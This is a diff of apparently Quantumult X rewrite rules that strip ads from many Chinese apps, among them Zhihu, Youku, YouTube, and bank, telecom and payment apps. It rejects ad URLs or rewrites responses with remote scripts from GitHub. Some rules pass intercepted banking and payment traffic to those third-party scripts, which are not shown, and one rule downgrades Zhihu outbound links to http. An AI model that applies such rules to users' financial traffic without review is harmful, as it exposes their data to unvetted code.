+^https?:\/\/.*\.xima.*\.com\/mobile\/discovery\/v\d\/location url reject +# 屏蔽热搜词 +^https?:\/\/.*\.xima.*\.com\/(hub\/)?hotWord url reject +# 屏蔽热搜board +^https?:\/\/.*\.xima.*\.com\/(hub\/)?hotWordBillboard url reject +# 屏蔽搜索框定时_Ad +^https?:\/\/.*\.xima.*\.com\/(hub)?guideWord url reject +# 屏蔽实时Ad请求 +^https?:\/\/.*\.xima.*\.com\/api\/v\d\/adRealTime url reject +# 屏蔽ting_Ad +^https?:\/\/.*\.xima.*\.com\/ting\/(loading|feed|home)? url reject +# 屏蔽首页横幅_Ad +^https?:\/\/.*\.xima.*\.com\/focus-mobile\/focusPic url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/xmly_json.js +# 屏蔽首页动态_Ad +^https?:\/\/.*\.xima.*\.com\/discovery-feed\/v\d\/mix url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/xmly_json.js +# 屏蔽Tab页滚动_Ad +^https?:\/\/.*\.xima.*\.com\/discovery-category\/v\d/category url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/xmly_json.js +# 去除我的页面Ad_Tag +^https?:\/\/.*\.xima.*\.com\/mobile-user\/v\d\/homePage url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/xmly_json.js + +# 小宇宙 +# hostname = api.xiaoyuzhoufm.com +# 去开屏广告 +^https?:\/\/api\.xiaoyuzhoufm\.com\/v\d\/flash- url reject-dict +# 移除ai总结 +^https?:\/\/api\.xiaoyuzhoufm\.com\/v\d\/ai-summary url reject-dict +# 会员横幅设为不可点击 +^https?:\/\/api\.xiaoyuzhoufm\.com\/v\d\/membership\/platform url reject-dict +# 移除小宇宙搜索框内容 +^https?:\/\/api\.xiaoyuzhoufm\.com\/v\d\/search\/get-(?>preset|express) url reject-dict +^https?:\/\/api\.xiaoyuzhoufm\.com\/v\d\/category\/list-daily-suggestion url reject-dict + +# >>>>>>>>>>>>>>> ✅ Y ✅ <<<<<<<<<<<<<< +# > YouTube +# hostname = rr*.googlevideo.com, youtubei.googleapis.com +# 响应体 +^https:\/\/youtubei\.googleapis\.com\/youtubei\/v1\/(browse|next|player|search|reel\/reel_watch_sequence|guide|account\/get_setting|get_watch) url script-response-body https://raw.githubusercontent.com/Maasea/sgmodule/refs/heads/master/Script/Youtube/youtube.response.js +# 播放页广告 +^https:\/\/rr[\w-]+\.googlevideo\.com\/initplayback\? url reject-dict + +# > 曜影医疗 +# 去开屏和弹窗广告 +# hostname = patient-api.suh.cn, userpms-api.suh.cn +^https:\/\/userpms-api\.suh\.cn\/apt\/api\/bannar\/PageList\?sysSearchKey=sysPat&showSearchKey=advertising&pageIndex=1&pagesize=100&lanSearchValue=1&locationSearchKey=&status=1& url reject-dict +^https:\/\/patient-api\.suh\.cn\/apt\/api\/userinfo\/GetNotice\?appname=pmsys&channel=6&device=ios&language=1&source=2&version= url reject-dict + +# > 云闪付 +# hostname = wallet.95516.com, tysdk.95516.com, ads.95516.com +# 默认关闭,只使用分流去云闪付广告 +#^https?:\/\/wallet\.95516\.com\/s\/wl\/icon\/long url reject +#^https?:\/\/(tysdk|ads)\.95516\.com url reject-dict + +# > 邮储银行 +# hostname = static.psbc.com, mcc.psbc.com, static.mobile-bank.psbc.com, d.psbc.com +# 添加主机名后影响APP正常运行 +^https?:\/\/static.psbc.com:8090\/mbank_f\/images\/[0-9]+\.png - reject-200 +^https?:\/\/mcc.psbc.com:9090\/mcc\/resources\/[0-9]+\.(jpg|png) url reject-200 +# 邮储信用卡 +^https?:\/\/d\.psbc\.com:9091\/mcc\/resources\/[0-9]+\.(jpg|png|jpeg) url reject-200 +# 屏蔽升级弹窗 感谢@jinlvei分享 影响软件运行,如开启可自行添加主机名 +^https?:\/\/static\.mobile-bank\.psbc\.com\/mgs url reject + +# > 银盛通 +# hostname = ad.ysepay.com +^https?:\/\/ad\.ysepay\.com\/yst-ad\/ST101001\/[0-9]{11}\.jpg url reject + +# > 盈宝证券 +# hostname = api.winbull8.com +# 首页和我的横幅广告 +^https?:\/\/api\.winbull8\.com\/v1\/marketing\/(advert|activity)\/(list|page) url reject-dict + +# > 盈立智投 +# hostname = hz.yxzq.com +# 我的横幅广告 +^https?:\/\/hz\.yxzq\.com\/news-configserver\/api\/v1\/query\/banner_advertisement url reject-dict + +# > 优酷 +# hostname = acs.youku.com, push.m.youku.com, un-acs.youku.com +# 播放详情页,首页信息流,顶部tab,我的页面,评论区 +^https?:\/\/acs\.youku\.com\/gw\/mtop\.youku\.columbus\.(gateway\.new\.execute|home\.feed|home\.query|uc\.query|ycp\.query) url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cnftp.js +# 底部tab +^https?:\/\/acs\.youku\.com\/gw\/mtop\.youku\.haidai\.lantern\.appconfig\.get url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cnftp.js +# 青少年模式弹窗 +^https?:\/\/acs\.youku\.com\/gw\/mtop\.youku\.huluwa\.dispatcher\.youthmode\.config2 url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cnftp.js +# 播放页弹窗动图 +^https?:\/\/acs\.youku\.com\/gw\/mtop\.youku\.(pisp\.scripts\.get|xspace\.play\.position\.preload\.query|xspace\.poplayer\.position\.query) url reject-dict +# 搜索列表 +^https?:\/\/acs\.youku\.com\/gw\/mtop\.youku\.soku\.yksearch url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cnftp.js +# 热剧弹窗 +^https?:\/\/push\.m\.youku\.com\/collect-api\/get_push_interval_config_wx\? url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cnftp.js +# 开屏广告 +^https?:\/\/un-acs\.youku\.com\/gw\/mtop\.youku\.play\.ups\.appinfo\.get url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cnftp.js + +# > 游戏时光 +# hostname = app02.vgtime.com, www.vgtime.com +# 开屏广告,文章顶部广告 感谢【Ava阿檬】分享 +^https?:\/\/app02\.vgtime\.com:8080\/vgtime-app\/api\/v2\/init\/ad\.json$ url reject-dict +^(http:\/\/www\.vgtime\.com\/app\/topic\/\d+\.jhtml\?.*?&close_ad=)false(&page=\d&sign=\w+×tamp=\d+&font_size=\d$) url 302 $1true$2 + +# > 永辉 +# hostname = api.yonghuivip.com +^https?:\/\/api\.yonghuivip\.com\/web\/shensuan\/ad\/getAd url reject-200 + +# > 悠洗APP +# hostname = api.ulife.group +# 净化 感谢【TEXAS】分享 +^https?:\/\/api\.ulife\.group\/signintask\/adServing url reject-dict +^https?:\/\/api\.ulife\.group\/auth\/account\/getUpgradeStrategy url reject-dict +^https?:\/\/api\.ulife\.group\/market\/frontEntrance\/getThirdAdvertising\?displayPort=1&type=15 url reject-dict +^https?:\/\/api\.ulife\.group\/market\/memberCard\/listMemberCard\?isShowSecondaryCard=1 url reject-dict +^https?:\/\/api\.ulife\.group\/auth\/account\/entrance url reject-dict +^https?:\/\/api\.ulife\.group\/market\/homeIconDetail\/list\/v7 url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/yx.js + +# > 一淘 +# hostname = acs.m.taobao.com +^https?:\/\/acs\.m\.taobao\.com\/gw\/mtop\.etao\.noah\.query\/.+tao_splash url reject +^https?:\/\/acs\.m\.taobao\.com\/gw\/mtop\.alimama\.etao\.config\.query\/.+?etao_advertise url reject + +# > 一号店 +# hostname = venus.yhd.com +^https?:\/\/venus\.yhd\.com\/memhome\/launchConfig url reject + +# > 一汽大众 +# hostname = one-app-h5.faw-vw.com +# 开屏广告 感谢【finch.ftm】分享 +^https?:\/\/one-app-h5\.faw-vw\.com\/prod-api\/mobile\/one-app\/general\/public\/v1\/official_activity\/get_animation_putaway_list\?appkey.* url reject-200 +^https?:\/\/one-app-h5\.faw-vw\.com\/prod-api\/mobile\/one-app\/general\/public\/v1\/first_page\/get_carousel_list?appkey.* url reject-200 + +# > 一起考教师 +# hostname = api.17kjs.com +# 开屏广告及题库广告 感谢【Jessire】分享 +^https?:\/\/api\.17kjs\.com\/meta\/ads_targets url reject + +# > 有兔阅读(米兔) +# hostname = img.dailmo.com, img.allahall.com, app.zhoudamozi.com +^https?:\/\/img\.dailmo\.com\/img\/61\/23c7125bfe6166d69f3bff5b0ca4d31e\.jpg url reject +^https?:\/\/img\.dailmo\.com\/img\/50\/edb40c6392f848df37f9c31d8a6f90f6\.jpg url reject +^https?:\/\/img\.dailmo\.com\/img\/6\/90585d9e96c73dd49644af57d8501624\.jpg url reject +^https?:\/\/img\.dailmo\.com\/img\/5\/6cb2aa237ce1f65944aa1ecb29fbdeef\.jpg url reject +^https?:\/\/img\.allahall\.com\/img\/61\/23c7125bfe6166d69f3bff5b0ca4d31e\.jpg url reject +^https?:\/\/img\.allahall\.com\/img\/50\/edb40c6392f848df37f9c31d8a6f90f6\.jpg url reject +^https?:\/\/img\.allahall\.com\/img\/6\/90585d9e96c73dd49644af57d8501624\.jpg url reject +^https?:\/\/img\.allahall\.com\/img\/5\/6cb2aa237ce1f65944aa1ecb29fbdeef\.jpg url reject +^https?:\/\/img\.allahall\.com\/img\/59\/6a13a75dfe46ebfdac96bd27ef098885\.jpg url reject +^https?:\/\/app\.zhoudamozi\.com\/ad\/.+ url reject-200 + +# > 雅虎 +# hostname = m.yap.yahoo.com +^https?:\/\/m\.yap\.yahoo\.com\/v\d{2}\/getAds\.do url reject + +# > 印象笔记 +# hostname = app.yinxiang.com +^https?:\/\/app\.yinxiang\.com\/ads\/ url reject-200 + +# > 易车 +# hostname = api.ycapp.yiche.com, cheyouapi.ycapp.yiche.com +^https?:\/\/api\.ycapp\.yiche\.com\/appnews\/getadlist url reject-img +^https?:\/\/api\.ycapp\.yiche\.com\/yicheapp\/getadlist url reject-img +^https?:\/\/cheyouapi\.ycapp\.yiche\.com\/appforum\/getusermessagecount url reject-img + +# > 易捷加油 +# hostname = a.sinopecsales.com +# 开屏广告 +^https?:\/\/a\.sinopecsales\.com\/app\/cms url reject-dict + +# > 易捷加油小程序 +# hostname = ocrifs.ejoy.sinopec.com +# 底部横幅广告 +^https?:\/\/ocrifs\.ejoy\.sinopec\.com\/advertitfs\/advert\/findAdvertInfo url reject-dict + +# > 易校园 +# hostname = compus.xiaofubao.com +# 开屏广告 +^https?:\/\/compus\.xiaofubao\.com\/compus\/advertising\/getStartupAdvertising url reject-dict + +# > 萤石 +# hostname = i.ys7.com +^https?:\/\/i\.ys7\.com\/api\/ads url reject + +# > 云宝宝大数据 +# hostname = nnapp.cloudbae.cn +^https?:\/\/nnapp\.cloudbae\.cn:\d+\/mc\/api\/advert/ url reject +^https?:\/\/nnapp\.cloudbae\.cn\/mc\/api\/advert/ url reject + +# > 友邻优课 +# hostname = new-app-api.ylyk.com +^https?:\/\/new-app-api\.ylyk\.com\/v\d\/user\/myinfo\/adviser url reject + +# > 友邦 +# hostname = e-static.aia.com.cn +^https?:\/\/e-static\.aia\.com\.cn\/kyh\/resourcefolder\/ads url reject-dict + +# > 医考帮 +# hostname = api.yikaobang.com.cn +^https?:\/\/api\.yikaobang\.com\.cn\/client\/main\/homePageSmallAd url reject +^https?:\/\/api\.yikaobang\.com\.cn\/index\.php\/Client\/main\/startPage url reject +# 去强制更新 感谢【SH DDDDD】分享 +^https?:\/\/api\.yikaobang\.com\.cn\/index\.php\/version\/version\/check url reject + +# > 艺龙旅行网 +# hostname = mobile-api2011.elong.com, webboot.zhangyue.com, saad.ms.zhangyue.net +^https?:\/\/mobile-api2011\.elong\.com\/ad(?>v|gateway) url reject-200 +^https?:\/\/webboot\.zhangyue\.com\/zycl\/api\/ad\/ url reject +^https?:\/\/saad\.ms\.zhangyue\.net\/ad url reject + +# > 映客直播 +# hostname = service.busi.inke.cn +^https?:\/\/service\.busi\.inke\.cn\/api\/flash\/screen url reject + +# > 云麦 +# hostname = restapi.iyunmai.com +^https?:\/\/restapi\.iyunmai\.com\/api\/ios\/ad\/ url reject-200 + +# > 央视 +# hostname = www.cntv.cn +^https?:\/\/www\.cntv\.cn\/nettv\/adp\/ url reject-200 + +# > 央视频 +# hostname = cdn.cmgadx.com +^https?:\/\/cdn\.cmgadx\.com\/sdk\/pool\/m8uTS50pt3DC0Xd6\.json url reject-200 +^https?:\/\/cdn\.cmgadx\.com\/sdk\/pool\/\w+\.json url reject + +# > 猿辅导 +# hostname = xyst.yuanfudao.com +^https?:\/\/xyst\.yuanfudao\.com\/iphone\/splashesV\d url reject-200 + +# > 一刻相册 +# hostname = issuecdn.baidupcs.com +^https?:\/\/issuecdn\.baidupcs\.com\/issue\/netdisk\/ts_ad\/ url reject-200 + +# > 翼支付 +# hostname = mapi-app.bestpay.com.cn +# 弹窗广告(APP降级10.66.80版本) 如开启可自行添加主机名 +^https?:\/\/mapi-app\.bestpay\.com\.cn\/gapi\/appclient\/noEnc\/getAppPopup url reject-dict +# 开屏广告(APP降级10.66.80版本) +^https?:\/\/mapi-app\.bestpay\.com\.cn\/gapi\/appClient\/noEnc\/getHomePageAds url reject-dict + +# > 鸭奈飞 +# hostname = pipi.4kya.com +^https?:\/\/pipi\.4kya\.com\/\/xgapp\.php\/v3\/advert\.position=[^2]+ url reject + +# > 优书 +# hostname = gongdu.youshu.cc +^https?:\/\/gongdu\.youshu\.cc\/m\/open_screen\/list_by_udid url reject + +# > 育学园 +# hostname = *.yuxueyuan.cn +^https?:\/\/.*\.yuxueyuan\.cn\/yxy-api-gateway\/api\/json\/advert\/getsAdStartScreen url reject-200 + +# > 亚马逊 +# hostname = api-cslp-emt.amazon.cn +^https?:\/\/api-cslp-emt\.amazon\.cn\/gateway\/content\/widget\/popup url reject-200 +^https?:\/\/api-cslp-emt\.amazon\.cn\/gateway\/recommend url reject-dict + +# > 亚朵开屏 +# hostname = api2.yaduo.com +^https?:\/\/api2\.yaduo\.com\/atourlife\/activity\/appLaunch url reject-dict + +# > 永安行 +# hostname = api5.youonbike.com +# 开屏以及app内弹窗广告 +^https:\/\/api5\.youonbike\.com\/ibike-rest-service\/user\/fun_IBF_GetAdvert url reject-dict + +# > 云快充(微信小程序) +# hostname = web-stable-cdn.ykccn.com, gw3.ykccn.com +^https?:\/\/web-stable-cdn\.ykccn\.com\/sp-img-2023\/common\/weCom-open url reject-img +^https?:\/\/gw3\.ykccn\.com\/api\/omp\/mt\/appAdvertising\/ url reject-dict +^https?:\/\/gw3\.ykccn\.com\/activityServer\/app\/commandAd url reject +^https?:\/\/gw3\.ykccn\.com\/api\/omp\/mt\/charge\/activity\/package\/newest url reject-dict + +# > 游民星空 +# hostname = *.gamersky.com +# 移除开屏广告、列表广告 +^http:\/\/.+\.gamersky\.com\/.+\/adSystem\/ad\/.+ url reject-dict +https://.+\.gamersky.com/v1/statisticAd url reject-dict +http:\/\/.+\.gamersky.com/.+/lists/getListElements jsonjq-response-body '.listElements |= map(select(has("adCategory") | not))' + + + +# >>>>>>>>>>>>>>> ✅ Z ✅ <<<<<<<<<<<<<< +# > 招商银行 +# hostname = webappcfg.paas.cmbchina.com, mbmodule-openapi.paas.cmbchina.com +# 开屏广告 +^https?:\/\/webappcfg\.paas\.cmbchina\.com\/v\d\/func\/getmarketconfig url reject-200 +# 首页横幅广告 +^https?:\/\/mbmodule-openapi\.paas\.cmbchina\.com\/graphic\/v2\/module\/graphic url reject-dict + +# > 招商证券 +# hostname = marketing.cmschina.com +# 首页和理财页面横幅广告 +^https:\/\/marketing\.cmschina\.com\/mkt\/api\/v1\?.* url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cmschina/cmschina.js + +# > 掌上生活 +# hostname = mbasecc.bas.cmbchina.com, mbasecc.bcs.cmbchina.com, intellicc.bas.cmbchina.com, intellicc.bcs.cmbchina.com +# 开屏广告 +^https?:\/\/mbasecc\.(bas|bcs)\.cmbchina\.com\/Edge\/api\/mlife\.clientface\.clientservice\.api\.advertiseService\/preCacheAdvertiseSec url reject-dict +# 设置栏目内广告 +^https?:\/\/intellicc\.bas\.cmbchina\.com\/Edge\/api\/mlife\.intelli\.render\.api\.render\/getDynamicDataSec url reject +# 首页随机弹窗 +^https?:\/\/intellicc\.bcs\.cmbchina\.com\/Edge\/api\/mlife\.intelli\.adrender\.api\.AdWork\/getAdsBySlotId url reject-dict + +# > 中国银行 +# hostname = mlife.jf365.boc.cn +# > 中国银行 缤纷生活 +^https?:\/\/mlife\.jf365\.boc\.cn\/AppPrj\/FirstPic\.do\?txnId=2PIC000001 url reject-200 + +# > 中信银行 +# hostname = wap.bank.ecitic.com, imcs.citicbank.com +^https?:\/\/wap.bank\.ecitic\.com:6443\/NMBFOServer\/cbframework\.do\?act=CUBEPAGEDATA url reject-200 +# 开屏广告 +^https:\/\/imcs\.citicbank\.com\/cloud\/([a-fA-F0-9]{32})\.(jpg|png) url reject +^https?:\/\/imcs\.citicbank\.com\/cloud\/.+(1125.+2436|1242.+2688|750.+1638|563.+1218) url reject-dict + +# > 中国移动 +# hostname = client.app.coc.10086.cn, app.10086.cn +^https?:\/\/client\.app\.coc\.10086\.cn\/biz-orange\/DN\/init\/startInit url reject +^https?:\/\/client\.app\.coc\.10086\.cn\/biz-orange\/DN\/explorePage\/getAdverList url reject +# 多个悬浮窗 +^https?:\/\/(client\.app\.coc|app)\.10086\.cn\/biz-orange\/DN\/emotionMarket url reject + +# > 中国移动云盘 +# hostname = mcmm.caiyun.feixin.10086.cn, mrp.mcloud.139.com, ad.mcloud.139.com, middle.yun.139.com +^https?:\/\/mcmm\.caiyun\.feixin\.10086\.cn:80\/mcmm\/api\/IAdvert url reject-200 +^https?:\/\/mcmm\.caiyun\.feixin\.10086\.cn:80\/mcmm\/api\/v\d\/getAdverts url reject-200 +^https?:\/\/middle\.yun\.139\.com\/openapi\/cardConfig\/queryCardInfoV3 url reject-200 +^https?:\/\/ad\.mcloud\.139\.com\/advertapi\/adv-filter\/adv-filter\/AdInfoFilter\/getAdInfos url reject-dict +^https?:\/\/mrp\.mcloud\.139\.com\/mc\/mc-client-service\/openapi\/letter\/query url reject-dict + +# > 中国联通 +# hostname = m.client.10010.com, m1.ad.10010.com, res.mall.10010.cn +^https?:\/\/m\.client\.10010\.com\/mobileService\/(activity|customer)\/(accountListData|get_client_adv|get_startadv) url reject-img +^https?:\/\/m\.client\.10010\.com\/mobileService\/customer\/getclientconfig\.htm url reject-dict +^https?:\/\/m\.client\.10010\.com\/uniAdmsInterface\/(getHomePageAd|getWelcomeAd) url reject-img +^https?:\/\/[^(apple|10010)]+\.(com|cn)\/(a|A)d(s|v)?(\/|\.js) url reject-img +^https?:\/\/m1\.ad\.10010\.com\/noticeMag\/images\/imageUpload\/2\d{3} url reject-img +^https?:\/\/res\.mall\.10010\.cn\/mall\/common\/js\/fa\.js?referer= url reject-img + +# > 中国电信 +# hostname = cloud.189.cn, zt-app.go189.cn +^https?:\/\/cloud\.189\.cn\/include\/splash\/ url reject +^https?:\/\/zt-app\.go189\.cn\/zt-app\/welcome\/.*?Animation url reject-img + +# > 中国广电 +# hostname = app.10099.com.cn +^https?:\/\/app\.10099\.com\.cn\/contact-web\/api\/version\/getFlashScreenPage url reject-200 + +# > 中国天气网小程序 +# hostname = e.weather.com.cn +# 横幅广告 +^https?:\/\/e\.weather\.com\.cn\/weChat\/typhoonNull\.json url reject-dict + +# > 中国知网 +# hostname = xyz.cnki.net +^https?:\/\/xyz\.cnki\.net\/resourcev7\/api\/manualpush\/SlidsList$ url reject-200 + +# > 中国人保 +# hostname = zgrb.epicc.com.cn +# 人保头条 +^https?:\/\/zgrb\.epicc\.com\.cn\/G-HAPP\/h\/headlines\/queryHeadlines url reject +# 启动开屏 +^https?:\/\/zgrb\.epicc\.com\.cn\/G-HAPP\/a\/update\/startupPage\/v url reject-dict +# 猜你喜欢 +^https?:\/\/zgrb\.epicc\.com\.cn\/G-HAPP\/a\/config\/guessYouLike\/v url reject-dict +# 主页面 +^https?:\/\/zgrb\.epicc\.com\.cn\/G-HAPP\/a\/config\/homeInit\/v url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/picc/picc_ads.js +# 我的页面 +^https?:\/\/zgrb\.epicc\.com\.cn\/G-HAPP\/mpageconfig\/myPageConfigList\/v url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/picc/picc_ads.js + +# > 中油优途 +# hostname = sichuan.95504.net +^https?:\/\/sichuan\.95504\.net\/v\d\/gd\/index\/get url reject-200 + +# > 中羽在线 +# hostname = app.badmintoncn.com +^https?:\/\/app\.badmintoncn\.com\/mag\/operative\/v\d\/ad\/listNotEndByPlace\?place=first_page url reject-200 + +# > 中通快递 +# hostname = hdgateway.zto.com +# 微信小程序净化 +^https?:\/\/hdgateway\.zto\.com\/getApolloConfig url reject-dict +^https?:\/\/hdgateway\.zto\.com\/track url reject-dict +^https?:\/\/hdgateway\.zto\.com\/getAdInfo url reject-dict +^https?:\/\/hdgateway\.zto\.com\/listJumperShow url reject-dict + +# > 中银跨境GO +# hostname = openapi.boc.cn +# 开屏广告 首页弹窗 如开启可自行添加主机名 +^https?:\/\/openapi\.boc\.cn\/unlogin\/app\/cbsp\/query_ad_list url reject-200 + +# > 中油好客e站小程序 +# hostname = minipro.95504.net +# 弹窗广告 +^https?:\/\/minipro\.95504\.net\/app\/json\/ad\/getPopAdData url reject-dict +# 底部横幅广告 +^https?:\/\/minipro\.95504\.net\/app\/json\/ad\/getIndexAdData url reject-dict + +# > 中关村在线 +# hostname = apicloud.zol.com.cn +# 需要重装 +^https?:\/\/apicloud\.zol\.com\.cn\/Article\/WapLaunchLogo url reject-dict + +# > 众邦银行 +# hostname = direct.z-bank.com +# 倒计时还在,点击任意位置跳过开屏动画 +^https?:\/\/direct\.z-bank\.com\/portal\/AdvertImageDownLoad4Mobile\.do url reject-200 + +# > 涨乐财富通 +# hostname = c.zhangle.com, live.inst-service.htsc.com, geetest.htsc.com, 119.29.29.98 +# 开屏广告 弹窗广告 +^https?:\/\/c\.zhangle\.com\/pic\/mktg\/diversity\/.+\.jpg$ url reject-dict +^https?:\/\/live\.inst-service\.htsc\.com\/live url reject-dict +^https?:\/\/geetest\.htsc\.com:8888\/pre_get_token url reject-200 +^https?:\/\/119\.29\.29\.\d+\/d url reject-200 + +# > 知乎 +# hostname = api.zhihu.com, www.zhihu.com, appcloud2.zhihu.com, m-cloud.zhihu.com, zhuanlan.zhihu.com, link.zhihu.com +# 首页 悬浮图标,顶部横幅,开屏广告,关注页推荐,推荐信息流,热榜信息流,热榜直播,回答底部卡片 +^https:\/\/api\.zhihu\.com\/(answers|articles)\/v2\/\d+ url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/zhihu/zhihu.js +^https:\/\/api\.zhihu\.com\/commercial_api\/app_float_layer url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/zhihu/zhihu.js +^https:\/\/api\.zhihu\.com\/commercial_api\/(answer\/\d+\/bottom-v2|article\/\d+\/bottom-v2|banners_v3\/app_topstory_banner|launch_v2|real_time_launch_v2) url reject-dict +^https:\/\/api\.zhihu\.com\/content-distribution-core\/bubble\/common\/settings url reject-dict +^https:\/\/api\.zhihu\.com\/feed\/render\/tab\/config\? url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/zhihu/zhihu.js +^https:\/\/api\.zhihu\.com\/(moments\/lastread|drama\/hot-drama-list) url reject-dict +^https:\/\/api\.zhihu\.com\/(moments_v3|topstory\/hot-lists\/total|topstory\/recommend) url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/zhihu/zhihu.js +^https:\/\/api\.zhihu\.com\/root\/window url reject-dict +^https:\/\/api\.zhihu\.com\/v2\/topstory\/hot-lists\/everyone-seeing\? url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/zhihu/zhihu.js +# 会员页面 弹窗,悬浮动图 +^https:\/\/api\.zhihu\.com\/(bazaar\/float_window|market\/popovers_v2) url reject-dict +^https:\/\/api\.zhihu\.com\/bazaar\/vip_tab\/header\? url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/zhihu/zhihu.js +# 我的页面 项目列表,会员卡片 +^https:\/\/api\.zhihu\.com\/me\/guides url reject-dict +^https:\/\/api\.zhihu\.com\/unlimited\/go\/my_card url reject +# 搜索页 关键词,猜你想搜 +^https:\/\/api\.zhihu\.com\/search\/preset_words url reject-dict +^https:\/\/api\.zhihu\.com\/search\/recommend_query\/v2\? url response-body "recommend_queries":\{.+\} response-body "recommend_queries":{} +^https:\/\/www\.zhihu\.com\/api\/v4\/search\/related_queries\/(article|answer)\/\d+ url reject-dict +# 回答详情页,评论区顶部,下一个回答 +^https:\/\/api\.zhihu\.com\/comment_v5\/(articles|answers)\/\d+\/list-headers url reject-dict +^https:\/\/api\.zhihu\.com\/next-(bff|data|render)\? url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/zhihu/zhihu.js +^https:\/\/api\.zhihu\.com\/prague\/related_suggestion_native\/feed\? url reject-dict +^https:\/\/api\.zhihu\.com\/questions\/\d+(\/answers|\/feeds|\?include=) url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/zhihu/zhihu.js +^https:\/\/api\.zhihu\.com\/v5\.1\/topics\/answer\/\d+\/relation url reject-dict +^https:\/\/www\.zhihu\.com\/api\/v4\/(articles|answers)\/\d+\/recommendations?\? url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/zhihu/zhihu.js +# 其他,服务器推送配置 +^https:\/\/api\.zhihu\.com\/ab\/api\/v1\/products\/zhihu\/platforms\/ios\/config url reject +^https:\/\/api\.zhihu\.com\/ad-style-service\/request url reject-dict +^https:\/\/appcloud2\.zhihu\.com\/v3\/config url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/zhihu/zhihu.js +^https:\/\/appcloud2\.zhihu\.com\/v3\/resource\?group_name=mp url reject-dict +^https:\/\/link\.zhihu\.com\/\?target=(https?)?(%3A|:)?(\/\/|%2F%2F)?(.*?)(&source.*)?$ url 302 http://$4 +^https:\/\/m-cloud\.zhihu\.com\/api\/cloud\/config\/all\? url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/zhihu/zhihu.js +# 网页版去广告 +^https:\/\/api\.zhihu\.com\/distribute\/rhea\/qa_ad_card\/h5\/recommendation\? url reject-dict +^https:\/\/www\.zhihu\.com\/api\/v4\/hot_recommendation url reject +^https:\/\/www\.zhihu\.com\/api\/v4\/mcn\/v2\/linkcards\? url reject +^https:\/\/www\.zhihu\.com\/api\/v4/(answers|questions)\/\d+/related-readings url reject +^https:\/\/www\.zhihu\.com\/commercial_api\/banners_v3\/mobile_banner url reject +^https:\/\/zhuanlan\.zhihu\.com\/api\/articles\/\d+\/recommendation url reject + +# > 追书神器 +# hostname = adx-cn.anythinktech.com +^https?:\/\/adx-cn\.anythinktech\.com\/bid url reject-200 + +# > 作业帮 +# hostname = syh.zybang.com, www.zybang.com +^https?:\/\/(syh|www)\.zybang\.com\/adx\/ url reject-200 + +# > 掌阅 +# hostname = ih2.ireader.com, book.img.ireader.com +^https?:\/\/ih2\.ireader\.com\/zyapi\/bookstore\/ad\/ url reject-200 +^https?:\/\/ih2\.ireader\.com\/zyapi\/self\/screen\/ad url reject-200 +^https?:\/\/ih2\.ireader\.com\/zycl\/api\/ad\/ url reject-200 +^https?:\/\/book\.img\.ireader\.com\/group6\/M00 url reject-img + +# > 掌上道具城 +# hostname = djcapp.game.qq.com +^https?:\/\/djcapp\.game\.qq\.com\/daoju\/igw\/main\/\?_service=welink\.ad\.list&_ret_key=result&site_set url reject-200 + +# > 掌上公交 +# hostname = quanguo.mygolbs.com, wx.mygolbs.com +# 我的横幅广告 +^https?:\/\/quanguo\.mygolbs\.com:8081\/MyBusServer\/servlet\/MyGoServer\.HttpPool\.HttpHandlerServlet url reject-200 +# 小程序广告 +^https?:\/\/wx\.mygolbs\.com\/WxBusServer\/ApiData\.do url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/zhangshanggongjiao.js + +# > 掌上鹿城 +# hostname = vapp.tmuyun.com +# 开屏广告 +^https?:\/\/vapp\.tmuyun\.com\/api\/app_start_page\/list\/new url reject-dict + +# > 字节跳动 +# hostname = *.pstatp.com, amemv.com, musical.com, snssdk.com, tiktokv.com, dsp.toutiao.com +#^https?:\/\/.+\.pstatp\.com\/img\/ad url reject-200 +^https?:\/\/.+\.(amemv|musical|snssdk|tiktokv)\.com\/(api|motor)\/ad\/ url reject-200 +^https?:\/\/.+\.snssdk\.com\/motor\/operation\/activity\/display\/config\/V2\/ url reject-200 +^https?:\/\/dsp\.toutiao\.com\/api\/xunfei\/ads\/ url reject-200 +^https?:\/\/[\w-]+\.amemv\.com\/aweme\/v\d\/ad\/ url reject +^https?:\/\/[\w-]+\.snssdk\.com\/.+_ad\/ url reject +^https?:\/\/.+\.amemv\.com\/.+app_log url reject-img +^https?:\/\/.+\.amemv\.com\/.+report url reject-img +^https?:\/\/.+\.amemv\.com\/.+stats url reject-img + +# > 最右 +# hostname = api.izuiyou.com, adapi.izuiyou.com +^https?:\/\/api\.izuiyou\.com\/ad\/ url reject +^https?:\/\/adapi\.izuiyou\.com\/ url reject + +# > 转转 +# hostname = app.zhuanzhuan.com +^https?:\/\/app\.zhuanzhuan\.com\/zzx\/transfer\/getConfigInfo url reject-dict +^https?:\/\/app\.zhuanzhuan\.com\/zzopen\/popwindow\/getallpopwin\? url reject-dict 